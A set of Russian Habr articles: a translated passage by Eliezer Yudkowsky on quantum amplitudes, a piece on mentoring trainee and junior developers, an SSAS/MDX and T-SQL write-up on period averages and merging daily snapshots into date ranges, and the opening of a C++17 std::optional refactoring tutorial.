1](https://habrastorage.org/r/w1560/getpro/geektimes/post_images/86b/57c/ac3/86b57cac35e272da35dd7cc621faba3a.png) Этот простой эксперимент в своё время заставил учёных поломать головы. Дело в том, что в половине случаев фотон, выпущенный в сторону зеркала, регистрировался первым детектором, а в половине — на вторым. И учёные — внимание, приготовьтесь смеяться — предполагали, что зеркало то пропускало фотон, то отражало его. Ха-ха-ха, представьте себе зеркало, которое может само выбирать, пропускать ему фотон или не пропускать! Если вы и можете это представить, то все равно не делайте этого — а не то вы запутаетесь так же, как и те учёные. Зеркало ведёт себя абсолютно одинаково в обоих случаях. Если бы мы попробовали написать компьютерную программу, *симулирующую* этот эксперимент (а не просто предсказывающую результат), она бы выглядела примерно так… В начале программы мы объявляем переменную, хранящую в себе определённый математический объект — *конфигурацию*. Она представляет некое описание состояния мира — в данном случае, «один фотон летит в точку А». На самом деле конфигурация описывается комплексным числом (напомню, что комплексные числа имеют вид (a + b*i*), где a и b — действительные числа, а *i* — мнимая единица, т.е. такое число, что *i*² = -1). Нашей конфигурации «фотон летит в точку **A**» тоже соответствует какое-то число. Пусть это будет (-1 + 0*i*). В дальнейшем мы будем называть число, соответствующее конфигурации, её *амплитудой*. Введём ещё две конфигурации: «фотон летит из **A** в точку **B**» и «фотон летит из **A** в точку **C**». Мы пока не знаем амплитуды этих конфигураций; им будут присвоены значения в ходе выполнения программы. ![Рис. 1](https://habrastorage.org/r/w1560/getpro/geektimes/post_images/86b/57c/ac3/86b57cac35e272da35dd7cc621faba3a.png) Посчитать амплитуды можно, применив правило, по которому работает зеркало, к начальной конфигурации. Не вдаваясь в подробности, можно считать, что правило выглядит так: «умножить на 1, когда фотон пролетает; умножить на *i*, когда фотон отражается». Применим правило: амплитуда конфигурации «фотон летит в **B**» равняется (-1 + 0*i*) × *i* = (0 + -*i*), а амплитуда конфигурации «фотон летит в **C**» равняется (-1 + 0*i*) × 1 = (-1 + 0*i*). Других конфигураций на рис. 1 нету, так что мы закончили. В принципе, можно считать «первый детектор регистрирует фотон» и «второй детектор регистрирует фотон» отдельными конфигурациями, но это ничего не меняет; их амплитуды будут равны амплитудам двух предыдущих конфигураций соответственно. (На *самом* деле их ещё надо домножить на множитель, равный расстоянию от **A** до детекторов, но мы просто предположим, что все расстояния в нашем эксперименте являются множителями единицы.) Итак, вот конечное состояние программы: * «фотон летит в **A**»: (-1 + 0*i*) * «фотон летит из **A** в **B**»: (0 + -*i*) * «фотон летит из **A** в **C**»: (-1 + 0*i*) И, возможно: * «сработал первый детектор»: (0 + -*i*) * «сработал второй детектор»: (-1 + 0*i*) Разумеется, сколько бы раз мы ни запускали программу, конечное состояние останется таким же. Теперь, по довольно сложным причинам, в которые я пока не буду вдаваться, не существует *простого* способа измерить амплитуду конфигурации. Состояние программы скрыто от нас. Что же делать? Хоть мы и не можем измерить амплитуду непосредственно, *кое-что* у нас есть — а именно, волшебная измерительная штуковина, которая может сообщить нам квадрат модуля амплитуды конфигурации. Другими словами, для амплитуды (a + b*i*) штуковина ответит числом (a² + b²). Точнее было бы сказать, что волшебная штуковина находит всего лишь *отношение* квадратов модулей друг к другу. Но даже этой информации оказывается достаточно, чтобы понять, что происходит внутри программы и по каким законам она работает. С помощью штуковины мы можем легко узнать, что квадраты модулей конфигураций «сработал первый детектор» и «сработал второй детектор» равны. А проведя некоторые более сложные эксперименты, мы сможем также узнать отношение самих амплитуд — *i* к 1. Кстати, а что это за волшебная измерительная штуковина такая? Ну, когда такие эксперименты проводят в реальной жизни, в качестве волшебной штуковины служит то, что эксперимент проводят пару тысяч раз и просто считают, сколько раз фотон оказался в первом детекторе, а сколько — во втором. Отношение этих значений и будет отношением квадратов модулей амплитуд. *Почему* это будет так — вопрос другой, гораздо более сложный. А пока можно пользоваться штуковиной и без понимания того, как да почему она работает. Всему своё время. Вы можете спросить: «А зачем вообще нужна квантовая теория, если её предсказания совпадают с предсказаниями „бильярдной” теории?» Есть две причины. Во-первых, *реальность*, что бы вы там ни думали, всё-таки подчиняется квантовым законам — амплитуды, комплексные числа и всё такое. А во-вторых, «бильярдная» теория *не работает* для любого мало-мальски сложного эксперимента. Хотите пример? Пожалуйста. На рис. 2 вы можете видеть два зеркала в точках **B** и **C**, и два полу-зеркала в точках **A** и **D**. Позже я объясню, почему отрезок **DE** проведён пунктиром; на расчётах это никак не скажется. ![Рис. 2](https://habrastorage.org/r/w1560/getpro/geektimes/post_images/f9a/80c/e81/f9a80ce81db5626df3ae30c1405b97be.png) Давайте применим правила, которые мы уже знаем. В начале у нас есть конфигурация «фотон летит в **A**», её амплитуда — (-1 + 0*i*). Считаем амплитуды конфигураций «фотон летит из **A** в **B**» и «фотон летит из **A** в **C**»: * «фотон летит из **A** в **B**» = *i* × «фотон летит в **A**» = (0 + -*i*) * «фотон летит из **A** в **C**» = 1 × «фотон летит в **A**» = (-1 + 0*i*) Интуитивно ясно, что обычное зеркало ведёт себя как половина полу-зеркала: всегда отражает фотон, всегда умножает амплитуду на *i*. Итак: * «фотон летит из **B** в **D**» = *i* × «фотон летит из **A** в **B**» = (1 + 0*i*) * «фотон летит из **C** в **D**» = *i* × «фотон летит из **A** в **C**» = (0 + -*i*) Важно понять, что «из **B** в **D**» и «из **C** в **D**» — это две разные конфигурации. Нельзя просто написать «фотон летит в **D**», потому что от угла, под которым этот фотон приходит в **D**, зависит то, что с ним случится дальше. Считаем дальше: * амплитуда конфигурации «фотон летит из **B** в **D**», равная (1 + 0*i*): + умножается на *i*, и результат (0 + *i*) засчитывается в пользу конфигурации «фотон летит из **D** в **E**» + умножается на 1, и результат (1 + 0*i*) засчитывается в пользу конфигурации «фотон летит из **D** в **F**» * амплитуда конфигурации «фотон летит из **C** в **D**», равная (0 + -*i*): + умножается на *i*, и результат (1 + 0*i*) засчитывается в пользу конфигурации «фотон летит из **D** в **F**» + умножается на 1, и результат (0 + -*i*) засчитывается в пользу конфигурации «фотон летит из **D** в **E**» Итого: * «фотон летит из **D** в **E**» = (0 + *i*) + (0 + -*i*) = (0 + 0*i*) = 0 * «фотон летит из **D** в **F**» = (1 + 0*i*) + (1 + 0*i*) = (2 + 0*i*) Отношение квадратов модулей амплитуд — 0 к 4; из расчётов следует, что первый детектор *вообще* не будет срабатывать! Поэтому-то отрезок **DE** и был проведён пунктиром на рис. 2. ![Рис. 2](https://habrastorage.org/r/w1560/getpro/geektimes/post_images/f9a/80c/e81/f9a80ce81db5626df3ae30c1405b97be.png) Если бы полу-зеркала отражали или пропускали фотон случайным образом, оба детектора реагировали бы примерно с одинаковой частотой. Но это не совпадает с результатами экспериментов. Вот и всё. Вы могли бы возразить: «А вот и не всё! Предположим, например, что когда зеркало отражает фотон, с ним происходит что-то такое, что второй раз он уже не отразится? И, наоборот, когда зеркало пропускает фотон, в следующий раз ему придётся отразиться.» Во-первых, бритва Оккама. Не стоит выдумывать сложное объяснение, если уже существует простое (если, конечно, считать квантовую механику *простой*…) А во-вторых, я могу придумать другой опыт, который опровергнет и эту альтернативную теорию. Поместим маленький непрозрачный объект между **B** и **D**, чтобы амплитуда конфигурации «фотон летит из **B** в **D**» всегда равнялась нулю. ![Рис. 3](https://habrastorage.org/r/w1560/getpro/geektimes/post_images/91e/5db/c8c/91e5dbc8c0795eef66ada72335505a8e.png) Теперь амплитуда конфигурации «фотон летит из **D** в **F**» равна (1 + 0*i*), а амплитуда конфигурации «фотон летит из **D** в **E**» — (0 + -*i*). Квадраты модулей равны 1. Это значит, что в половине случаев будет срабатывать первый детектор, а в половине — второй. Это *невозможно* объяснить, если считать, что фотон — это маленький бильярдный шарик, который отражается от зеркал. Дело в том, что об амплитуде нельзя думать, как о вероятности. В теории вероятностей, если событие *X* может произойти или не произойти, то вероятность события *Z* равна P(*Z*|*X*)P(*X*) + P(*Z*|¬*X*)P(¬*X*), где все вероятности положительны. Если вы знаете, что вероятность *Z* при условии, что *X* случилось, равна 0.5, а вероятность *X* — 0.3, то полная вероятность *Z* по меньшей мере 0.15, *независимо* от того, что произойдёт, если *X* не случится. Не бывает отрицательных вероятностей. Возможные и невозможные события не могут аннулировать друг друга. А амплитуды — могут. ![Рис. 2](https://habrastorage.org/r/w1560/getpro/geektimes/post_images/f9a/80c/e81/f9a80ce81db5626df3ae30c1405b97be.png) Вот пример *неправильного* мышления: «Фотон летит в **B** или в **C**, но он *мог* полететь по-другому, и это влияет на вероятность того, что он полетит в **E**…» События, которые *не* случились, не имеют никакого влияния на мир. Единственное, что *может* повлиять на мир — это наше воображение. «О боже, эта машина чуть не сбила меня», думаете вы, и решаете уйти в монастырь, чтобы больше никогда не встречаться с опасными машинами. Но реально по-прежнему не *само* событие, а лишь ваше воображение, содержащееся в вашем мозгу — который можно из вас достать, пощупать и положить назад, чтобы убедиться, что он вполне реален. Реально всё, что влияет на мир. (Если вы полагаете, что это не так, попробуйте дать определение слову «реальный».) Конфигурации и амплитуды непосредственно влияют на мир, так что они тоже реальны. Сказать, что конфигурация — это «то, что могло случиться», так же странно, как сказать, что *стул* — это «то, что могло случиться». А что это тогда — конфигурация? *Продолжение следует.* --- На самом деле всё немного сложнее, чем вам могло показаться после прочтения этой статьи. Каждая конфигурация описывает *все* частицы во Вселенной. Амплитуда — это *непрерывное* распределение по всему пространству конфигураций, а не дискретное, как мы рассматривали сегодня. И в самом деле, фотоны же не телепортируются из одного места в другое *мгновенно*, а каждое различное состояние мира описывается новой конфигурацией. В конце концов мы и до этого доберёмся. Если вы ничего не поняли из этого абзаца, не беспокойтесь, я всё объясню. Потом. --- [читать вторую часть →](http://habrahabr.ru/post/173783/) Автор: Eliezer Yudkowsky. Вольный и сокращённый (совсем чуть-чуть) перевод: я. Ссылки на оригиналы: [`lesswrong.com/lw/pc/quantum_explanations`](http://lesswrong.com/lw/pc/quantum_explanations/), [`lesswrong.com/lw/pd/configurations_and_amplitude`](http://lesswrong.com/lw/pd/configurations_and_amplitude/).
https://habr.com/ru/post/171489/
null
ru
null
# work&dev fun(damentals) #0. Что ожидать и как помогать расти разработчику из trainee в уверенного junior? > Это цикл статей. [Следующую можно прочесть тут](https://habr.com/ru/post/478210/) ### Что ожидать и как помогать расти разработчику из trainee в уверенного junior? Уровень разработчика — то чем все привыкли меряться и то за чем все перебегают из компании в компанию. В последние несколько лет тенденция рынка такова, что реальный опыт работы снижается по отношению к предлагаемой :: лычке::. Эта тема меня беспокоит особенно сильно по той причине, что годы опыта все таки кое о чем говорят. Говорят они о количестве времени, во время которого ты работал работу. И чисто статистически верно то, что за `m` времени может произойти больше факапов и запар, чем за `n`, при условии что `m > n`. Вот и все. Об этом говорят года опыта. Это не тот показатель, по которому я буду отсеивать людей с позиций (буду если это сеньор, с 1.5 годами реального опыта), но тот, по которому я буду решать между двумя идентичными кандидатами, если не смогу взять двух. Так вот, мой любимый тип разработчика — **trainee**. Это совсем начинающие ребята, не важно какой у них возраст\_пол\_вероисповедание, по ним с первого дня видно, горят ли у них глаза. Дальше дело техники, как говорит один мой хороший друг: "код можно научить писать и обезьяну", и мы учим… не обезьяну, конечно… а человека. Учим, рассказываем, выгоняем с работы, когда засиживаются, а они любят засиживаться, потому что интересно все. На этом этапе задача разработчика научиться работать с инструментами, понять что вода мокрая, огонь горячий, а стендап от слова "стоять". В каждом языке есть типовое задание. В руби — Хартл и его *ака* "твиттер". В javascript все дико любят туду листы и всевозможные реализации под тот фреймворк с которым ты работаешь. Если он может это написать по step-by-step гайду, он подходит на трейни. Когда он сможет написать его без step-by-step гайда, можно поговорить про джуна. Я специально сделал здесь упор на step-by-step, потому что не важно сколько у тебя опыта, ты будешь бегать на MDN смотреть порядок параметров в `reduce` и забывать базовые конструкции. Дальше **Junior** — и тут нет резкого перехода. Он плавный. И именно поэтому у нас в компании сделано разделение на Junior Beginner/Junior/Junior Strong. Но это этап, на котором вы можете сразу увидеть, какова культура в вашей команде, я закончу этой мыслью раздел про Junior. На уровне **Junior** человек уже умеет писать код, но этот код не делает ничего более, чем решает бизнес задачу здесь и сейчас. И это нормально, это то с чем предстоит работать техлиду, ментору или отделу обучения. На этом этапе надо объяснять человеку жизненный цикл бага, почему важен селф-тестинг, как меняется стоимость бага в зависимости от этапа, на котором нашли. Помогать ему задумываться и разбираться в том, с чем имеет дело большую часть времени. То есть если он пол дня шлет запросы из браузера на бекенд, то разберался, что такое запрос и почему браузер шлет 2 запроса, когда у тебя бекенд на другом Origin. Он начинает осознавать процессы в разработке. Постепенно замечает, насколько он ошибается в оценках. Это тот этап, когда стоит поиграть с человеком в скрам покер и сделать top-down оценку задачи, даже если у вас это не принято в команде. Ему стоит научиться формулировать мысли, аргументировать позицию, для этого надо начать указывать на вещи, которые неочевидны. Почему я сказал про скрам-покер и top-down. Это отличный способ показать человеку нюансы, на которые вы обращаете внимание из-за уже накопившегося опыта, какие детали вы проясняете, какие спеки вам уже не кажутся расплывчатыми и то КАК вы это делаете. Результаты совместной оценки покажут навыки технические, но не менее важно научить формировать вопросы, показать, как общаться с клиентами или стейкхолдерами, как полученную информацию вносить в систему. Чем раньше разработчик научиться вниманию к деталям и способам коммуникации по задачам со стейкхолдерами, тем проще ему будет дальше. Потому что проективные коммуникации и разбор непонятного — наш сознательный способ пихнуть себя в неизвестность и получить +1 новый кейс в свой опыт. Лично я совершенно не жду, что на уровне джуниор он будет уже хотябы немного попадать в свои оценки в больших фичах, в маленьких — возможно, но не факт. В больших — нет, все еще мало знает о рисках, не учитывает тестирование, психологию клиента и не понимает разницу между оценкой в часах и ETA. Что еще важно, так это обучиться базовым навыкам дебага приложений, понять как найти изменения, несколько сессий парного программирования с джуном и вы передадите ему навыки примитивных, но столь "гениальных" для джуна техник типа `instance.freeze`, чтобы отловить мутацию объекта. Ему нужно научиться использовать весь этот мультитул, не всегда эффективно, но он хотябы должен знать, что есть отвертка и не надо забивать шурупы молотком. Заканчивая описывать **Junior`a**, вернемся к культуре команды. На этом уровне человек будет впитывать культуру коммуникации команды, если вы шеймите тестировщиков и считаете их бесполезными, но не отдаете себе в этом отчета, взгляните на джуна и вспомните, был ли он таким пол года/год назад. Вел ли он себя так же по отношению к этим людям? Если "нет" в негативную сторону, то вот вам и звоночек. Он научился этому у вас и вашего окружения. Он еще не может четко сказать, почему что-то не важно, но уже это шеймит. Тем более что все мы уже знаем, каждый этап в разработке приложения важен и какой бы ни была команда, без тестировщика они выпустят продукт хуже или медленнее и дороже. > Изначально [я опубликовал статью на Medium](https://medium.com/@_golubev/work-dev-fun-damentals-0-%D1%87%D1%82%D0%BE-%D1%82%D0%B0%D0%BA%D0%BE%D0%B5-%D1%83%D1%80%D0%BE%D0%B2%D0%B5%D0%BD%D1%8C-%D0%B8-%D0%BF%D1%80%D0%B8-%D1%87%D0%B5%D0%BC-%D1%82%D1%83%D1%82-%D1%81%D0%BE%D1%84%D1%82-%D1%81%D0%BA%D0%B8%D0%BB%D1%8B-trainee-junior-a02d3d58028e?source=your_stories_page---------------------------), но мне кажется для сегмента, с которым я хочу начать разговор — это плохая площадка. Я опущу часть интро, если хотите пообщаться пишите на [@\_golubev](https://twitter.com/_golubev). Я дал этой рубрике название **work&dev fun(damentals)**. Потому что работа и разработка — это весело. Но надо учиться фундаментальным вещам. Не важно софт скилы это или хард скилы. Все, далее описанное, это тот опыт который я приобрел. Он ограничен моим пониманием вещей, происходящих в IT. Процессов, которые тут происходят. Решений, которые принимаются. Это понимание позволило мне из Trainee в в одного их лидов Full-stack направления. Параллельно создать отдел, который специализируется на техническом развитии и мониторинге эмоционального состояния сотрудников, для того, чтобы сделать их работу комфортной и обеспечить их конкретным пониманием того, что именно от них ожидают в компании и проекте.
https://habr.com/ru/post/477894/
null
ru
null
# Дисциплина, Точность, Внимание к деталям ### Введение: В этой статье речь пойдет о работе с **Microsoft Analysis Services** и немного о хранилище на **Microsoft SQL Server**, с которым SSAS работает. Мне пришлось столкнуться с не совсем тривиальными вещами и порой приходилось “прыгать через голову” ради того, чтобы сделать то, что от меня хотят. Работать приходилось в перерывах между совещаниями. Порой новый функционал обсуждался дольше, чем разрабатывался. Часто на совещаниях, по несколько раз, приходилось рассказывать одно и тоже. Когда я сказал, что мне сложно совещаться дольше одного часа, на меня посмотрели с удивлением и непониманием. Во многом, благодаря такой обстановке и появились эти, не совсем тривиальные вещи, о которых я решил написать. ### Среднее за период Требовалось посчитать среднее значение за период. В MS Analysis Services есть для этого функция Average of Children, которая считает среднее по всем не пустым значениям за выбранный период. ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/225/a00/d0f/225a00d0f587b40feb181d428a00bb49.png) Но у заказчика, после скрупулёзного изучения результатов, появились вопросы? Он показал мне следующую выборку, и сказал что она не правильная: ![image](https://habrastorage.org/r/w780q1/getpro/habr/post_images/bd8/472/260/bd84722603e92e016660848f760604a1.jpg) Так как, по его мнению, должно быть так: ![image](https://habrastorage.org/r/w780q1/getpro/habr/post_images/87d/050/d00/87d050d0096edbdb8f3de22636268507.jpg) На мой вопрос: Почему? Он ответил, что ему нужно не среднее значение за период, а сумму средних значений по каждому элементу за период, то есть **НЕ ТАК:** ![image](https://habrastorage.org/r/w780q1/getpro/habr/post_images/12a/b8b/20c/12ab8b20cae022d5a33ca0e853b276c2.jpg) **( 5 + 6 + 7 ) / 3 = 6** **А ВОТ ТАК:** ![image](https://habrastorage.org/r/w780q1/getpro/habr/post_images/b66/ce0/607/b66ce060741fd95bf7ce76f7a0d48b3b.jpg) **( 2,5 + 3,5 + 3 ) = 9** Это желание заставило меня пройти все стадии принятия неизбежного: 1. Отрицание (Это что угодно, но не среднее за период); 2. Гнев (Кто его математике учил?); 3. Торг (Давайте оставим так и спросим тех, кто будет этим пользоваться?); 4. Депрессия (А говорили, что здесь все очень добрые и хорошие…); 5. Принятие ( Можно и зайца курить научить. Надо так надо, сделаю, как попросили). Решение было не совсем очевидным. В разделе Calculations я создал Calculated Member и c помощью функций iif, isleaf и sum написал выражение. **Первый вариант:** ``` iif ( not isleaf([ELEM].[ELEM SK].currentmember), sum(EXISTING [ELEM].[ELEM SK].currentmember.Children,[Measures].[FCT VAL]), [Measures].[FCT VAL] ) ``` где [ELEM] – это измерение, а [ELEM SK] это его ключ. **Результат оказался неожиданным:** ![image](https://habrastorage.org/r/w780q1/getpro/habr/post_images/35d/a68/428/35da684282b7e24ed5753a4d4d4e507b.jpg) Странные цифры в Итогах оказались суммами всех значений элементов в измерении, не зависимо от того, какие значения я выбирал в фильтре. То есть в итоге всегда была сумма всех элементов, а не только выбранных. Проблема решилась не сразу. Первым решением был вариант с дополнительным скрытым измерением. Я создал копию измерения [ELEM], изменил свойство Visible на False и написал так: ``` iif ( not isleaf([ELEM].[ELEM SK].currentmember), sum(EXISTING [ELEM COPY].[ELEM SK].currentmember.Children,[Measures].[FCT VAL]), [Measures].[FCT VAL] ) ``` Получилось так, как хотел заказчик. ![image](https://habrastorage.org/r/w780q1/getpro/habr/post_images/b66/ce0/607/b66ce060741fd95bf7ce76f7a0d48b3b.jpg) Чуть позже я нашёл “более правильное” решение. Я создал Named Set. ``` CREATE DYNAMIC SET CURRENTCUBE.[Controller Set] AS { EXISTING [ELEM].[ELEM SK].currentmember.Children }; ``` a Calculated Member переписал на такой: ``` iif ( not isleaf([ELEM].[ELEM SK].currentmember), sum([Controller Set],[Measures].[FCT VAL]), [Measures].[FCT VAL] ) ``` Таким образом, копия измерения [ELEM COPY] стала не нужна. Я представил это решение заказчику и занялся другими задачами. Спустя какое-то время мне пришло новое техническое задание, в котором фигурировало понятие “statistical average”. На мой вопрос – Что это? Он сказал, что пользователям нужна не сумма средних значений по каждому элементу за период, а среднее за период, то есть обычный Average of Children, но мое решение он попросил сохранить. Ещё, он попросил добавить среднее за период с учетом всех дней, а не только тех, в которых есть значения. ![image](https://habrastorage.org/r/w780q1/getpro/habr/post_images/540/fcf/30a/540fcf30a7332fd50b1ec5f52fd9b0d3.jpg) **( 5 + 6) / 3 = 3,666667** Задачу я решил с помощью дополнительного факта, который просто посчитал количество строчек в таблице для Time Dimension (в данном решении, в этой таблице на каждый день всегда есть одна запись). Далее, добавил факты с агрегацией – сумма (AggregateFunction = Sum) и добавил Calculated Member, в котором разделил Сумму, на количество дней. ``` [Measures].[Sum DATA]/[Measures].[TIME Count] ``` ### Хранилище Клиент, на которого мы работаем, оказался не так прост. Про него можно сказать – “Месье знает толк в извращениях”. После того как мы разобрались с Кубом, перед нами была поставлена более глобальная задача. Разработать хранилище (Data Vault), но не простое. Первое что нам сказали – это то, что теперь наша Библия – это [«Building a Scalable Data Warehouse with Data Vault 2.0»](https://www.elsevier.com/books/building-a-scalable-data-warehouse-with-data-vault-20/linstedt/978-0-12-802510-9), написанная Daniel Linstedt’ом и в довесок настояли на внедрении туда [“Bitemporal Database Table Design”](https://www.codeproject.com/Articles/17637/Bitemporal-Database-Table-Design-The-Basics). На основе построенного хранилища требовалось построить Куб с историчностью. У такого куба два временных измерения, одно показывает бизнес дату, другое – транзакционную дату. Если говорить о процессе разработки, то было больно, даже сейчас больно, но что-то у нас получилось. Суть “Bitemporal Database Table Design” заключается в том, что у каждой записи есть 4 дополнительных поля: 1. Business\_date\_ from 2. Business\_date\_to 3. Transaction\_date\_from 4. Transaction\_date\_to Первые 2 содержат интервал бизнес дат — с какой и по какую дату значение оставалось неизменным. Вторые 2 поля содержат интервал транзакционных дат. В этом интервале хранится период в течение которого значение никто не поправлял (как вариант задним числом). Одной из проблем при решении это задачи были исходные данные, точнее вид, в котором мы их получали. Данные приходили в виде ежедневных срезов. То есть, было поле Date, в котором хранилась дата на которую брались данные, на следующий день в поле Date было новое значение и данные либо менялись в этот день, либо нет. Требовалось объединить данные в периоды. Т.е. если, например, значение не менялось 3 дня подряд, то вместо 3 строчек надо сохранить одну, в которой вместо колонки DATA было бы две колонки BEGIN и END. **Данные до преобразования:** ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/a99/f19/db4/a99f19db4edce7ae24b2f9530e723a5e.png) **Данные после преобразования:** ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/412/4e9/c03/4124e9c0344f359b4ab4096e4f930ec5.png) Я решил эту задачу через функции LAG и LEAD. Суть решения в том, что если значение не меняется 3 дня подряд, то дата из текущей строки, минус дата из предыдущей будет равна 1: ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/81e/9dd/1c8/81e9dd1c8dba29556acdf47f34bb882c.png) * Если данные идут подряд, то **12.01.2017 – 11.01.2017 = 1** * Если между данными есть разрыв, то **10.01.2017 – 03.01.2017 = 7** **Отсюда:** 1. ``` SELECT * FROM ( SELECT Volume ,[Date] dt ,DATEDIFF(day, LAG([Date], 1) OVER (PARTITION BY Volume ORDER BY [Date]), [Date]) difLag ,DATEDIFF(day, [Date], LEAD([Date], 1) OVER (PARTITION BY Volume ORDER BY [Date])) difLead FROM dbo.Test n ) m WHERE ( difLag > 1 OR difLag IS NULL ) OR ( difLead > 1 OR difLead IS NULL ) ``` 2. Далее надо как-то сгруппировать этот результат, объединить пары для тех периодов, которые длились более одного дня и оставить те, период у которых длился один день. Группировку я сделал, пронумеровав строки и объединив четные с нечетными. Итак, весь запрос: ``` WITH se AS ( SELECT * FROM ( SELECT Volume ,[Date] dt ,DATEDIFF(day, LAG([Date], 1) OVER (PARTITION BY Volume ORDER BY [Date]), [Date]) difLag ,DATEDIFF(day, [Date], LEAD([Date], 1) OVER (PARTITION BY Volume ORDER BY [Date])) difLead FROM Test n ) m WHERE (difLag > 1 OR difLag IS NULL) OR (difLead > 1 OR difLead IS NULL) ) ,p1 AS --choose only one day periods (be careful) ( SELECT Volume ,dt AS VT_BEG ,dt AS VT_END FROM se WHERE NOT (isnull(difLag, - 1) = 1 OR isnull(difLead, - 1) = 1) ) ,p2 AS ( SELECT Volume ,CASE WHEN difLead IS NOT NULL AND (difLag IS NULL OR difLag > 1) THEN dt END AS VT_BEG ,CASE WHEN difLag IS NOT NULL AND (difLead IS NULL OR difLead > 1) THEN dt END AS VT_END ,row_number() OVER (ORDER BY Volume,dt) AS rn FROM se WHERE isnull(difLag, - 1) = 1 OR isnull(difLead, - 1) = 1 ) SELECT * FROM ( SELECT min(Volume) AS data ,min(VT_BEG) AS VT_BEG ,min(VT_END) AS VT_END FROM p2 GROUP BY (CASE WHEN rn % 2 = 0 THEN rn ELSE rn + 1 END) UNION ALL SELECT Volume,VT_BEG,VT_END FROM p1 ) g ORDER BY VT_BEG ,data ``` ### Итог: В кабинете клиента, на которого я работаю, висит плакат с лозунгом. Этим лозунгом я решил назвать эту статью, так как, на мой взгляд, он, отчасти, объясняет причину тех трудностей, с которыми мне приходится сталкиваться. Проект ещё не закончен и я думаю, что всё самое интересное ещё впереди. С совещаниями я уже смирился и когда меня о чем-то спрашивают на них, порой на ум приходит фраза из КВН: “Молодец, задавай умные вопросы, получай глупые ответы…”, которая помогает мне собраться и попытаться ответить что-то вразумительное. В данной статье я рассказал только о самых, на мой взгляд, интересных вещах, которые были в проекте. Кроме них было много рутины, споров и других, не столь оригинальных, решений. Надеюсь, что то, о чем я написал, будет интересным и полезным.
https://habr.com/ru/post/323276/
null
ru
null
# Рефакторинг с использованием C++17 std::optional ![](https://habrastorage.org/r/w1560/webt/vg/ol/lg/vgollgyrmhj2ukthgazv0ohhnsw.png) В разработке существует множество ситуаций, когда вам надо выразить что-то с помощью "`optional`" — объекта, который может содержать какое-либо значение, а может и не содержать. Вы можете реализовать опциональный тип с помощью нескольких вариантов, но с помощью C++17 вы сможете реализовать это с помощью наиболее удобного варианта: std::optional. Сегодня я приготовил для вас одну задачу по рефакторингу, на который вы сможете научиться тому, как применять новую возможность C++17. Вступление ---------- Давайте быстро погрузимся в код. Представим, что есть функция, которая принимает объект `ObjSelection`, представляющий из себя, например, текущую позицию указателя мыши. Функция сканирует выделение и находит количество анимированных объектов, есть ли там гражданские юниты и есть ли там военные юниты. Существующий код выглядит так: ``` class ObjSelection { public: bool IsValid() const { return true; } // more code... }; bool CheckSelectionVer1(const ObjSelection &objList, bool *pOutAnyCivilUnits, bool *pOutAnyCombatUnits, int *pOutNumAnimating); ``` Как вы можете видеть выше, функция содержит в основном выходные параметры (в виде сырых указателей) и возвращает `true/false` для индикации успеха своег выполнения (например, выделение может быть некорректным). Я пропущу реализацию этой функции, но ниже вы можете увидеть код, который вызывает эту функцию: ``` ObjSelection sel; bool anyCivilUnits { false }; bool anyCombatUnits {false}; int numAnimating { 0 }; if (CheckSelectionVer1(sel, &anyCivilUnits, &anyCombatUnits, &numAnimating)) { // ... } ``` Почему эта функция не идеальна? На это есть несколько причин: * Посмотрите на код, который её вызывает: нам надо создать все переменные, которые будут хранить выходные значения функции. Это может смотреться дублированием кода, если вы вызываете функцию в нескольких местах. * Выходные параметры: Core Guidelines рекомендуют не использовать их. ([F.20: Для возвращаемых значений предпочитайте возвращаемые значения из функции, а не выходные параметры](https://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines#f20-for-out-output-values-prefer-return-values-to-output-parameters)) * Сырые указатели необходимо проверять на корректность. * Что насчёт расширения функции? Что если вам надо будет добавить ещё один выходной параметр? Что-нибудь ещё? Как вы будете рефакторить это? Руководствуясь Core Guidelines и новыми возможностями C++17, я планирую разделить рефакторинг на следующие шаги: 1. Рефакторинг выходных параметров в `std::tuple`, который будет возвращаемым значением. 2. Рефакторинг `std::tuple` в отдельную структуру и уменьшение `std::tuple` до `std::pair`. 3. Использование `std::optional` чтобы подчеркнуть возможные ошибки. Серия ----- Эта статья является частью моей серии про библиотечные утилиты C++17. Вот список других тем, про которые я рассказываю: * Рефакторинг с использованием C++17 std::optional (**этот пост**). * [`Использование std::optional`.](https://habr.com/post/372103/) * [`Обработка ошибок при использовании std::optional` (англ. язык).](https://www.bfilipek.com/2018/05/errors-and-optional.html) * Использование `std::variant`. * Использование `std::any`. * In place конструкторы для `std::optional`, `std::variant` и `std::any`. * Использование `std::string_view`. * Утилиты C++17 для поиска и конвертации строк. * Работа с `std::filesystem`. * Что-то ещё? :) Ресурсы по C++17 STL: * [Полное руководство по C++17](https://leanpub.com/cpp17) от Николая Йосуттиса (англ. язык). * [Основы C++, включая C++17](https://pluralsight.pxf.io/c/1192940/424552/7490?u=https%3A%2F%2Fwww.pluralsight.com%2Fcourses%2Fcplusplus-fundamentals-c17) от Кейт Грегори (англ. язык). * [Книга рецептов C++17 STL](http://amzn.to/2v6KkmV) от Яцека Галовицза (англ. язык). OK, теперь давайте что-нибудь порефакторим. `std::tuple` ------------ Первый шаг — это конвертировать выходные параметры в `std::tuple` и вернуть его из функции. В соответствии с [F.21: Для возврата нескольких выходных значений предпочтительно использовать кортежи или структуры (англ. язык)](https://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines#f21-to-return-multiple-out-values-prefer-returning-a-tuple-or-struct) > Возвращаемое значение документируется само как значение "только для возврата". Учтите, что функция в C++ может иметь несколько возвращаемых значений с помощью соглашения об использовании кортежей (в т. ч. и пар (`std::pair`), с дополнительным использованием (возможно) `std::tie` на вызывающей стороне. После изменения наш код должен выглядеть вот так: ``` std::tuple CheckSelectionVer2(const ObjSelection &objList) { if (!objList.IsValid()) return {false, false, false, 0}; // local variables: int numCivilUnits = 0; int numCombat = 0; int numAnimating = 0; // scan... return {true, numCivilUnits > 0, numCombat > 0, numAnimating }; } ``` Немного лучше, не правда ли? * Нет необходимости проверять значения сырых указателей. * Код стал довольно выразительным. Более того, вы можете использовать [структурированные привязки (англ. язык: Structured Bindings, *прим. пер.: на русский язык пока нет устоявшегося названия*)](https://www.bfilipek.com/2017/07/cpp17-details-simplifications.html#structured-binding-declarations) для того, чтобы обернуть кортеж на вызывающей стороне: ``` auto [ok, anyCivil, anyCombat, numAnim] = CheckSelectionVer2(sel); if (ok) { // ... } ``` К сожалению, мне кажется, что это не самый лучший вариант. 